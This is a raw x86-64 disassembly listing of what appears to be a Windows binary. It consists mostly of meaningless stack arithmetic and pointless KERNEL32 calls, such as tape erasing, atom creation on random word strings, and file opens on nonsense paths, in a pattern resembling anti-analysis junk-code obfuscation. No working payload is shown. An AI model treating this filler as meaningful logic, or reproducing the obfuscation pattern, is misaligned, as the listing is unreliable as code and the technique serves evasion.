call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [rsp + 0xb018]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x46c8], eax
mov rax, qword [rsp + 0xb240]
mov rax, qword [rax]
mov qword [rsp + 0xce68], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:effluents_tenantUnblockingGuiltsProprietors
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xce70], rax
mov rax, qword [rsp + 0x9eb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa6b8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xec0], ax
mov rax, qword [rsp + 0xa560]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x119c]
shl eax, cl
mov word [0x1401e6028], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
movzx eax, byte [rsp + 0x8f]
mov byte [rsp + 0x1cc], al
movzx eax, byte [rsp + 0xcc]
mov rcx, qword [0x1401e7820]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x136], al
movzx eax, word [rsp + 0x11d0]
mov word [rsp + 0x12f0], ax
mov rax, qword [rsp + 0xb2f8]
mov rcx, qword [rsp + 0xc668]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa8f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb0e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x466c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b60], eax
lea rax, [rsp + 0x49ac]
mov qword [rsp + 0xce78], rax
mov rax, qword [rsp + 0xc650]
mov rcx, qword [rsp + 0xac30]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa1d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc888]
movzx eax, byte [rax]
mov byte [rsp + 0x1cd], al
mov edx, 0x4f178c
mov rcx, qword [rsp + 0x9380]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4860], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xce80], rax
movsx eax, word [rsp + 0xf80]
mov rcx, qword [rsp + 0xc168]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e6164], ax
mov rax, qword [rsp + 0xc358]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xacf8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
mov rax, qword [0x1401e7748]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8fc8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc730]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
movzx eax, word [rsp + 0xb84]
mov word [rsp + 0x12f4], ax
mov rax, qword [rsp + 0xcac8]
mov rcx, qword [rsp + 0xc070]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9488], rax
lea rax, [rsp + 0x4a94]
mov qword [rsp + 0xce88], rax
mov rax, qword [rsp + 0x9968]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xccf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbcc8], rax
mov eax, dword [rsp + 0x41bc]
mov ecx, dword [rsp + 0x4d4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4760], eax
mov edx, 0xb369e
mov rcx, qword [rsp + 0xa130]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4700], eax
lea rax, [rsp + 0x11dc]
mov qword [rsp + 0xce90], rax
movzx eax, word [rsp + 0xc84]
movzx ecx, word [rsp + 0xd14]
sub eax, ecx
mov rcx, qword [0x1401e75d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xa2]
mov rcx, qword [rsp + 0xc358]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
lea rax, [0x1401e602c]
mov qword [rsp + 0xce98], rax
mov rax, qword [rsp + 0xb0f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xaa]
or eax, ecx
mov rcx, qword [rsp + 0x9920]
mov byte [rcx], al
mov rax, qword [rsp + 0x91a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa5c8]
mov qword [rsp + 0xcea0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcea0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4d10], eax
lea rdx, [rsp + 0x28378]
mov rcx, qword [rsp + 0xa9b8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4d80], eax
lea rax, [rsp + 0x9c48]
mov qword [rsp + 0xcea8], rax
mov rax, qword [rsp + 0xadb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9538]
mov qword [rsp + 0xceb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xceb0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9298]
mov qword [rcx], rax
mov eax, dword [rsp + 0x49a0]
mov dword [rsp + 0x4d84], eax
mov rax, qword [0x1401e76e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb5f0]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xae50]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8d90], rax
mov rax, qword [rsp + 0x9468]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe4]
and eax, ecx
mov byte [0x1401e60ba], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4a54], eax
lea rax, [rsp + 0x18f]
mov qword [rsp + 0xceb8], rax
mov rax, qword [0x1401e7778]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb2d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb3e0]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xcd38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57]
add eax, ecx
mov rcx, qword [rsp + 0xa100]
mov byte [rcx], al
movzx eax, word [rsp + 0xd20]
mov word [rsp + 0x12f8], ax
mov rax, qword [rsp + 0x9e38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4674]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ad0]
mov dword [rcx], eax
lea rax, [rsp + 0x9c48]
mov qword [rsp + 0xcec8], rax
lea rcx, [rsp + 0x267e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x9590]
mov rcx, qword [rsp + 0x90c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9db8], rax
mov rcx, qword [rsp + 0xa3d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x9a30]
mov rcx, qword [rsp + 0xb008]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4b24], eax
movzx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0xb828]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e602a], al
lea rax, [0x1401e605f]
mov qword [rsp + 0xced0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
movzx eax, word [rsp + 0xe50]
movzx ecx, word [rsp + 0x1154]
add eax, ecx
mov rcx, qword [rsp + 0xc470]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xbf80]
movzx eax, word [rax]
mov word [rsp + 0x12fc], ax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0xad]
sub eax, ecx
mov rcx, qword [rsp + 0xb450]
mov byte [rcx], al
mov rax, qword [rsp + 0xafe8]
mov rcx, qword [rsp + 0xbd38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa6d8], rax
mov rax, qword [rsp + 0xb908]
mov eax, dword [rax]
mov dword [rsp + 0x4d88], eax
mov rax, qword [rsp + 0xb760]
mov rcx, qword [0x1401e7420]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x93c8], rax
lea rax, [rsp + 0x4204]
mov qword [rsp + 0xced8], rax
lea rax, [rsp + 0x79]
mov qword [0x1401e7ac0], rax
mov rax, qword [rsp + 0xb9a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd54]
sar eax, cl
mov rcx, qword [rsp + 0xcc50]
mov word [rcx], ax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4514], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9ba8], rax
mov rax, qword [0x1401e76c8]
movzx eax, byte [rax]
mov byte [rsp + 0x1ce], al
movsx eax, byte [rsp + 0x156]
mov rcx, qword [rsp + 0xade0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6a], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
movsx eax, word [rsp + 0x1158]
mov rcx, qword [rsp + 0xab88]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc08], ax
lea rax, [rsp + 0xc448]
mov qword [rsp + 0xcee0], rax
mov rax, qword [rsp + 0xb1c8]
mov ecx, dword [rsp + 0x450c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb4a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9248]
mov eax, dword [rax]
mov dword [rsp + 0x4d8c], eax
mov rax, qword [rsp + 0x95e0]
mov rax, qword [rax]
mov rcx, qword [0x1401e6008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcca8], rax
movsx eax, byte [rsp + 0x12f]
movsx ecx, byte [rsp + 0xbf]
sub eax, ecx
mov byte [0x1401e60bb], al
movsx eax, word [rsp + 0xc3c]
movsx ecx, word [rsp + 0x11f0]
add eax, ecx
mov rcx, qword [rsp + 0xa9f8]
mov word [rcx], ax
lea rcx, str.instantiating_Proficiently_suppositions
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1300], ax
lea rax, [rsp + 0xe44]
mov qword [rsp + 0xcee8], rax
mov rax, qword [rsp + 0xaaf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1208]
sub eax, ecx
mov word [rsp + 0xdec], ax
mov rax, qword [rsp + 0xa3c8]
movzx eax, byte [rax]
mov byte [rsp + 0x1cf], al
mov edx, 0x14ab
mov rcx, qword [rsp + 0xb100]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4948], eax
mov rax, qword [rsp + 0x90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc468]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa098], rax
mov rax, qword [rsp + 0x9fe8]
mov ecx, dword [rsp + 0x4848]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xa0d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xadb8]
mov rax, qword [rax]
mov qword [rsp + 0xcef0], rax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0xbbe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x474c], eax
movsx eax, byte [rsp + 0x155]
mov rcx, qword [rsp + 0xadc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e75f8]
mov byte [rcx], al
lea rax, [0x1401e746c]
mov qword [rsp + 0xcef8], rax
movzx eax, word [rsp + 0xd1c]
movzx ecx, word [rsp + 0x1064]
sub eax, ecx
mov word [rsp + 0xd3c], ax
movsx eax, word [rsp + 0x11a0]
movsx ecx, word [rsp + 0xe90]
add eax, ecx
mov word [rsp + 0xc98], ax
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4968], eax
mov rax, qword [0x1401e7ab8]
movzx eax, byte [rax]
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0xb230]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaee8]
shr rax, cl
mov qword [rsp + 0xc520], rax
lea rax, [rsp + 0x4404]
mov qword [rsp + 0xcf00], rax
mov eax, dword [0x1401e6018]
mov ecx, dword [rsp + 0x4370]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac20]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba20]
mov rax, qword [rax]
mov qword [rsp + 0xcf08], rax
movsx eax, word [rsp + 0xf8c]
movsx ecx, word [rsp + 0xd48]
xor eax, ecx
mov word [0x1401e7580], ax
lea rcx, str.instigation_Cropping
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1304], ax
mov rcx, qword [rsp + 0xb700]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4750], eax
xor r9d, r9d
lea r8, [rsp + 0xb1b8]
mov rdx, qword [rsp + 0xcf10]
mov rcx, qword [rsp + 0xa780]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x45f0], eax
movzx eax, byte [0x1401e604b]
mov rcx, qword [rsp + 0xc640]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x72], al
movsx eax, word [rsp + 0x1230]
mov rcx, qword [rsp + 0xcb80]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10d8], ax
lea rax, [rsp + 0x127c]
mov qword [rsp + 0xcf18], rax
movzx eax, word [rsp + 0xbcc]
mov rcx, qword [rsp + 0x9f98]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xbfd0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x97e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xcd00]
mov qword [rsp + 0xcf20], rax
mov rax, qword [rsp + 0xb748]
mov rcx, qword [rsp + 0xc7d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x95d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa860]
mov rcx, qword [rsp + 0xb068]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaa40]
mov dword [rcx], eax
lea rax, [rsp + 0x4878]
mov qword [rsp + 0xcf28], rax
lea rax, [rsp + 0x11c]
mov qword [0x1401e7ac8], rax
movzx eax, word [rsp + 0x11b0]
movzx ecx, word [0x1401e60c0]
add eax, ecx
mov word [rsp + 0xdac], ax
mov rcx, qword [rsp + 0xbc60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x184]
mov byte [rsp + 0x1d1], al
mov rax, qword [rsp + 0xb180]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa3b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b4], al
movsx eax, word [rsp + 0x12cc]
mov rcx, qword [rsp + 0xa7d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa9f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc2a8]
mov qword [rsp + 0xcf30], rax
mov rax, qword [rsp + 0xaa40]
mov rcx, qword [rsp + 0x8fa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42c4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
lea rax, [rsp + 0xb5b0]
mov qword [rsp + 0xcf38], rax
mov rax, qword [rsp + 0xcb00]
mov rcx, qword [rsp + 0xc588]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4340], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movsx eax, byte [rsp + 0x105]
mov rcx, qword [rsp + 0xa2f0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e60ba], al
mov rax, qword [rsp + 0xa880]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc0b8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xe9c], ax
movzx eax, byte [rsp + 0xef]
mov byte [rsp + 0x1d2], al
mov rax, qword [rsp + 0xcc18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfd8]
xor eax, ecx
mov word [rsp + 0x11b0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4d90], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9668], rax
movzx eax, byte [0x1401e6037]
mov byte [rsp + 0x1d3], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov eax, dword [rsp + 0x4808]
mov ecx, dword [rsp + 0x4884]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcdc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc790]
mov eax, dword [rax]
mov dword [rsp + 0x4d94], eax
mov rax, qword [rsp + 0xbf98]
mov rcx, qword [rsp + 0xbe10]
mov qword [rsp + 0xcf40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf40]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x98f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa5e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcef0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0c8], rax
lea rax, [rsp + 0xbe4]
mov qword [rsp + 0xcf48], rax
movzx eax, byte [rsp + 0x17a]
mov byte [0x1401e74f4], al
mov rax, qword [rsp + 0x9d80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf20]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x191], al
lea rax, [rsp + 0xcd0]
mov qword [rsp + 0xcf50], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xbc98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbf8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x122], al
mov rax, qword [rsp + 0x8f30]
mov rcx, qword [rsp + 0x9968]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc090]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0xb5b0]
mov qword [rsp + 0xcf58], rax
mov eax, dword [rsp + 0x49ac]
mov ecx, dword [rsp + 0x4808]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41bc], eax
lea rax, [rsp + 0x4aec]
mov qword [rsp + 0xcf60], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
movsx eax, word [rsp + 0x1108]
movsx ecx, word [rsp + 0xb98]
add eax, ecx
mov word [rsp + 0xc4c], ax
lea rax, [rsp + 0x90]
mov qword [0x1401e7ad0], rax
mov r9d, 2
lea r8, [rsp + 0x9808]
mov rdx, qword [rsp + 0xcf68]
mov rcx, qword [rsp + 0xb3f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x47cc], eax
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0xaf20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x97], al
movzx eax, byte [rsp + 0x15e]
mov byte [rsp + 0x1d4], al
movzx eax, word [rsp + 0x1250]
mov rcx, qword [0x1401e77c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1080], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x1c78
mov rcx, qword [rsp + 0xbee8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46b8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9478], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0x9758]
mov qword [rsp + 0xcf70], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.C:CooksCyclically_slantedRumps
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xcf78], rax
mov rax, qword [rsp + 0xa6a8]
mov rcx, qword [rsp + 0x9418]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb6f0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xbe30]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4550], eax
lea rax, [rsp + 0x48bc]
mov qword [rsp + 0xcf80], rax
mov rax, qword [rsp + 0xb738]
mov rcx, qword [rsp + 0xcc58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4c88], eax
mov rax, qword [rsp + 0xa0b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1190]
or eax, ecx
mov rcx, qword [rsp + 0xb218]
mov word [rcx], ax
movzx eax, byte [rsp + 0x17c]
mov rcx, qword [rsp + 0xa230]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e746e], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xcd40], rax
lea rax, [rsp + 0xe68]
mov qword [rsp + 0xcf88], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb528], rax
movzx eax, word [rsp + 0xfa4]
movzx ecx, word [rsp + 0x1140]
sar eax, cl
mov word [rsp + 0xc18], ax
movzx eax, byte [rsp + 0x150]
mov byte [rsp + 0x1d5], al
mov rax, qword [rsp + 0xa9e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401e7420]
shl rax, cl
mov qword [rsp + 0xaad8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9e98]
mov rcx, qword [rsp + 0xb648]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb938]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
lea rax, [0x1401e741c]
mov qword [rsp + 0xcf90], rax
mov rax, qword [rsp + 0xb3c0]
mov ecx, dword [rsp + 0x48b8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa678]
movzx eax, word [rax]
mov word [rsp + 0x1308], ax
movzx eax, byte [rsp + 0x122]
movzx ecx, byte [0x1401e6096]
and eax, ecx
mov byte [0x1401e74c4], al
mov rax, qword [rsp + 0xb620]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaee0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9240]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x96b0], rax
movzx eax, word [rsp + 0xfb8]
mov rcx, qword [rsp + 0xa5e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcdb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc510]
movzx eax, word [rax]
mov word [rsp + 0x130c], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4b38], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov ecx, DrawInsert
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4c1c], eax
lea rdx, [rsp + 0x28110]
mov rcx, qword [rsp + 0x9cb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x48d4], eax
movzx eax, word [rsp + 0xfcc]
movzx ecx, word [rsp + 0x10c8]
add eax, ecx
mov rcx, qword [rsp + 0xc470]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f00]
mov eax, dword [rax]
mov dword [rsp + 0x4d98], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc308]
mov ecx, dword [rsp + 0x44c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4858], eax
mov rax, qword [rsp + 0x9e60]
mov rcx, qword [rsp + 0xc828]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcba8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0xbff0]
mov qword [rsp + 0xcf98], rax
mov rax, qword [0x1401e7598]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb4b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e6168], ax
mov rax, qword [rsp + 0xb060]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11e]
add eax, ecx
mov rcx, qword [rsp + 0xab08]
mov byte [rcx], al
movzx eax, byte [rsp + 0x16a]
mov byte [rsp + 0x1d6], al
movzx eax, byte [rsp + 0x191]
movzx ecx, byte [rsp + 0x6e]
sub eax, ecx
mov rcx, qword [rsp + 0xc9c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c90]
movzx eax, word [rax]
mov word [rsp + 0x1310], ax
xor edx, edx
mov rax, qword [rsp + 0xcb00]
mov eax, dword [rax]
div dword [rsp + 0x46cc]
mov rcx, qword [rsp + 0xcd88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4584]
mov rcx, qword [rsp + 0xcce8]
mov qword [rsp + 0xcfa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfa0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a38]
mov rax, qword [rax]
mov qword [rsp + 0xcfa8], rax
mov rcx, qword [rsp + 0xc000]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x47cc], eax
mov rcx, qword [rsp + 0xb100]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0xcfb0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa9d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb080]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xaac0], rax
movzx ecx, word [rsp + 0xe8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1178], ax
mov rax, qword [0x1401e75a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa5c0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e609a], al
movzx eax, byte [rsp + 0x13b]
mov byte [rsp + 0x1d7], al
mov rcx, qword [rsp + 0xbb18]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4490], eax
mov rax, qword [rsp + 0x9310]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ed0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1074], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:UnsympatheticchestyDivulgedinclinedEqually
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xcfb8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8d30], rax
mov qword [rsp + 0x20], 0
mov r9d, 0xfcf
mov r8d, 0x1c29
mov edx, 0xdc
mov rcx, qword [rsp + 0x9330]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x47a0], eax
mov rax, qword [rsp + 0x9838]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb550]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1a5], al
mov rax, qword [rsp + 0x93f8]
movzx eax, word [rax]
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0x95f0]
mov rcx, qword [rsp + 0x91a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9f08]
mov dword [rcx], eax
lea rax, [rsp + 0xcef0]
mov qword [rsp + 0xcfc0], rax
lea rcx, str.Clank_rover_Participant_dutch_overtime
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1318], ax
